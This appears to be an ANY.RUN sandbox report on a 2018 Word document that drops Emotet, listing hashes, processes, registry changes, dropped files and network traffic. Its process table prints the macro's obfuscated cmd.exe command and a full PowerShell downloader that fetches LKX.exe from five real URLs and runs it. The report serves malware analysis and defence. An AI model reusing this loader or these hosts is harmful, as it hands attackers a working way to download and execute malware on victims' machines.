download:

2018-11

Full analysis: https://app.any.run/tasks/7351ca0c-dc5f-4cbf-a5a4-fa967121e43a
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: November 14, 2018, 16:16:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Gabriella, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Nov 14 12:45:00 2018, Last Saved Time/Date: Wed Nov 14 12:45:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0
MD5:

532253330669E9684FE8EFF5ED9AE37F

SHA1:

DC401A767126E5B73FCB3A6E3F0D9F7CA740E17E

SHA256:

7ECE6B353421561EBB06B374497B668D84A13506AD8C6FA552B04DC3DFD4878B

SSDEEP:

1536:YZuocn1kp59gxBK85fBt+a9EV6r2EBDxoRwBnRDhYxjhUx5xfxThoxtBqBYRM6UE:441k/W48xFDxoRwBnRDhYxjhUx5xfxTQ

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3704)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3704)
    • Application was dropped or rewritten from another process

      • LKX.exe (PID: 3920)
      • LKX.exe (PID: 2704)
      • lpiograd.exe (PID: 2932)
      • lpiograd.exe (PID: 2412)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2484)
    • Emotet process was detected

      • lpiograd.exe (PID: 2412)
  • SUSPICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 2804)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2484)
      • LKX.exe (PID: 2704)
    • Starts itself from another location

      • LKX.exe (PID: 2704)
    • Application launched itself

      • lpiograd.exe (PID: 2412)
    • Connects to unusual port

      • lpiograd.exe (PID: 2932)
    • Creates files in the user directory

      • powershell.exe (PID: 2484)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3704)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3704)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Gabriella
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:11:14 12:45:00
ModifyDate: 2018:11:14 12:45:00
Pages: 1
Words: 2
Characters: 13
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 14
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
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Total processes
39
Monitored processes
7
Malicious processes
5
Suspicious processes
1

Behavior graph

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start drop and start drop and start winword.exe no specs cmd.exe no specs powershell.exe lkx.exe no specs lkx.exe #EMOTET lpiograd.exe no specs lpiograd.exe

Process information

PID
CMD
Path
Indicators
Parent process
2412"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe
LKX.exe
User:
admin
Company:
Borland Corporation
Integrity Level:
MEDIUM
Description:
Borland C++ Multi-thread RTL (WIN/VCL MT)
Exit code:
0
Version:
8.0.0.0
Modules
Images
c:\users\admin\appdata\local\microsoft\windows\lpiograd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2484powershell $idL='Rbu';$iPV='http://c-t.com.au/PspAMbuSd2@http://shajishalom.com/FOH636qV@http://pteacademicvoucher.in/8lVruWa@http://866appliance.com/Y6TApcX8A@http://planetefaune.com/yuaijLUGlN'.Split('@');$AYC=([System.IO.Path]::GetTempPath()+'\LKX.exe');$WUh =New-Object -com 'msxml2.xmlhttp';$juX = New-Object -com 'adodb.stream';foreach($VLD in $iPV){try{$WUh.open('GET',$VLD,0);$WUh.send();$juX.open();$juX.type = 1;$juX.write($WUh.responseBody);$juX.savetofile($AYC);Start-Process $AYC;break}catch{}} C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2704"C:\Users\admin\AppData\Local\Temp\LKX.exe"C:\Users\admin\AppData\Local\Temp\LKX.exe
LKX.exe
User:
admin
Company:
Borland Corporation
Integrity Level:
MEDIUM
Description:
Borland C++ Multi-thread RTL (WIN/VCL MT)
Exit code:
0
Version:
8.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\lkx.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2804cmd /V/C"^se^t ^oI^Q^1=AO(B=2@^a8^U^T^EICG^iS^[^Xk^y\6rc nbF^f^xo^$^e+^Y^WVp^m;^M3/^{^uqt^jLRP^-'^]^Kh^:^d^D^H^,N)^s^.w}0lv1&&^f^or %N ^in (3^8^;^3^1;^6^6;^3^3;23;6^4^;^56^;3^3^;69^;6^9;25^;3^2;1^5;5^8^;4^9^;4;^53^;^5^0^;^2^7^;^45;53^;^40^;^32^;^1^5^;^51;37;^4;5^3^;5^6^;47^;^4^7;^3^8^;^57^;43^;43^;^24;^52;^4^7^;6^5^;24^;31;^39;^6^5;7^;4^5;4^3;51;64^;38^;0^;41^;27^;45^;^1^6;58;5;^6^;^5^6^;^47;^47;^3^8;^5^7;43^;43;64;^56^;^7^;48;^1^5;64;^5^6^;^7;^6^9^;3^1;39;^65;^2^4^;^31^;39^;^43^;28;^1;60;22;^42^;22^;^46;^3^7^;6;5^6;4^7;4^7;^3^8^;5^7;4^3^;4^3^;^38;^47;^3^3^;^7;^2^4;^7;^58;33;^3^9;^1^5;24;^7^0^;^3^1;^45^;2^4;56;3^3^;2^3;65^;^15^;26^;^43^;8^;^6^9;^37^;^23^;^45;3^6;7;^6;56;^47^;47;^3^8;57^;4^3^;43;^8;22^;^2^2;^7;3^8;^3^8;^6^9^;15^;^7;^26;2^4;33^;^65;^2^4;3^1^;^3^9^;^43;^3^5;^22;^10;0;3^8^;24;^18^;8;0;^6^;^5^6^;^47^;4^7^;38;5^7^;^4^3^;^4^3^;3^8^;^69^;7;26;^3^3^;47;3^3;^2^9;7;^4^5^;2^6;33;^65^;^24^;^31;39^;4^3;^20;45;7;^1^5^;^4^8;^49^;9^;^1^4^;^6^9^;^6^2;^5^3^;^6^5;^1^6^;^3^8;69^;1^5^;^47;2;^5^3;6;5^3;^6^3^;4^0;32;^0;35;^13;4^;^2;^17^;1^6;20^;^6^4;^47^;^33^;^39;6^5;^12^;^1;6^5;^5^1^;^7;4^7;56^;^5^4^;^57^;5^7^;1^4;33^;^47;^10;3^3^;3^9;^38^;5^1;7;47;56;^2^;^6^3^;34;53^;^21^;4^9^;^55^;18;^6^5^;^3^3;30^;^33;53^;63;40^;^3^2;36^;^9^;5^6^;2^5^;^4^;^6^2;^3^3^;66;^5^2;^1;^2^7;48^;3^3;^2^4^;^4^7;2^5;^52;2^4;^3^1;^3^9^;^2^5;5^3^;39;^6^4;3^0^;^3^9;^69^;^5;^65^;30;^3^9;^6^9^;^56^;47^;47;^38^;5^3;^40;3^2;48;4^5^;^1^8;^25;^4^;^25^;^62^;33;^6^6^;5^2^;1;^27;^4^8^;^33;^24^;47;2^5;^5^2;2^4^;3^1;^3^9^;2^5^;^5^3^;^7^;^5^8^;31^;^5^8^;27^;6^5^;^64;^4^7^;23^;33^;^7;^39;5^3;4^0^;29;^3^1^;^2^3^;33;7;^24;^5^6^;2^;32;^37^;49;5^9;25^;1^5^;26;25^;32;15^;51^;3^7;6^3;4^4^;47;^2^3;20^;4^4;3^2;36^;^9;56^;^65^;31^;^38;^3^3^;^2^6;2;^5^3;14^;1^1;^1^0^;5^3;^61^;3^2;^37;4^9^;59;61;68^;6^3^;^40;^32;^3^6;^9;^56^;6^5^;6^4;^3^3^;^26^;^5^8;^2^;6^3;4^0^;^3^2^;^4^8;^45;1^8^;65;^3^1^;38;3^3^;26;^2;^6^3;40;32;^48^;^4^5^;1^8;65;47;20^;38;^3^3^;^2^5^;^4;^25^;^7^1;40^;^3^2;^48^;^45;^18;^65^;^6^6^;^23^;^15;^47;^33^;^2^;^3^2;^36^;9^;5^6;^6^5^;2^3^;^3^3;^64;3^8;^31^;^26;6^4^;3^3^;^3;3^1^;^58;^2^0^;63;4^0^;^3^2;^48;45^;1^8;^6^5^;^64^;^7^;70;3^3^;^47;^31;29;1^5;^6^9^;33;2;32^;^0^;^3^5^;13^;6^3^;^40^;^16^;^47^;^7^;23;4^7;5^2^;^5^1^;23;3^1^;^2^4;^33^;6^4;^64;^25^;32;^0;3^5;13^;40;^2^7^;23;^33^;7;1^9^;67^;2^4;7;4^7;^2^4;56^;^44^;6^7;67;^2^5;25^;^25^;^25;^25;^25^;2^5;25^;^2^5;2^5;2^5;^2^5^;25^;^25;2^5;2^5^;2^5^;82)^do ^s^e^t u^1^e^J=!u^1^e^J!!^oI^Q^1:~%N,1!&&^i^f %N ^g^tr ^81 cal^l %u^1^e^J:*u1e^J^!^=%" C:\Windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2932"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe"C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe
lpiograd.exe
User:
admin
Company:
Borland Corporation
Integrity Level:
MEDIUM
Description:
Borland C++ Multi-thread RTL (WIN/VCL MT)
Exit code:
0
Version:
8.0.0.0
Modules
Images
c:\users\admin\appdata\local\microsoft\windows\lpiograd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3704"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\2018-11.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3920"C:\Users\admin\AppData\Local\Temp\LKX.exe" C:\Users\admin\AppData\Local\Temp\LKX.exepowershell.exe
User:
admin
Company:
Borland Corporation
Integrity Level:
MEDIUM
Description:
Borland C++ Multi-thread RTL (WIN/VCL MT)
Exit code:
0
Version:
8.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\lkx.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 684
Read events
1 268
Write events
411
Delete events
5

Modification events

(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:>'%
Value:
3E272500780E0000010000000000000000000000
(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3704) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1299054611
(PID) Process:(3704) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054728
(PID) Process:(3704) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1299054729
(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
780E000008F48168357CD40100000000
(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:y'%
Value:
79272500780E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:y'%
Value:
79272500780E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3704) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
3704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8B1E.tmp.cvr
MD5:
SHA256:
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YSG13VL0XLGJ77CLIC9B.temp
MD5:
SHA256:
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF169724.TMPbinary
MD5:
SHA256:
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
3704WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
3704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$018-11.docpgc
MD5:
SHA256:
2484powershell.exeC:\Users\admin\AppData\Local\Temp\LKX.exeexecutable
MD5:1971BD3C2B25CE33550085B93144EBFB
SHA256:D6DD56E7FB1CC71FC37199B60461E657726C3BF8319CE59177AB4BE6ED3B9FB4
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.datdat
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862
SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2704LKX.exeC:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exeexecutable
MD5:1971BD3C2B25CE33550085B93144EBFB
SHA256:D6DD56E7FB1CC71FC37199B60461E657726C3BF8319CE59177AB4BE6ED3B9FB4
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HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2484
powershell.exe
GET
301
50.62.194.30:80
http://c-t.com.au/PspAMbuSd2
US
html
196 b
suspicious
2484
powershell.exe
GET
200
50.62.194.30:80
http://c-t.com.au/PspAMbuSd2/
US
executable
420 Kb
suspicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2484
powershell.exe
50.62.194.30:80
c-t.com.au
GoDaddy.com, LLC
US
suspicious
2932
lpiograd.exe
50.78.167.65:7080
Comcast Cable Communications, LLC
US
malicious

DNS requests

Domain
IP
Reputation
c-t.com.au
  • 50.62.194.30
unknown

Threats

PID
Process
Class
Message
2484
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2484
powershell.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2
2484
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info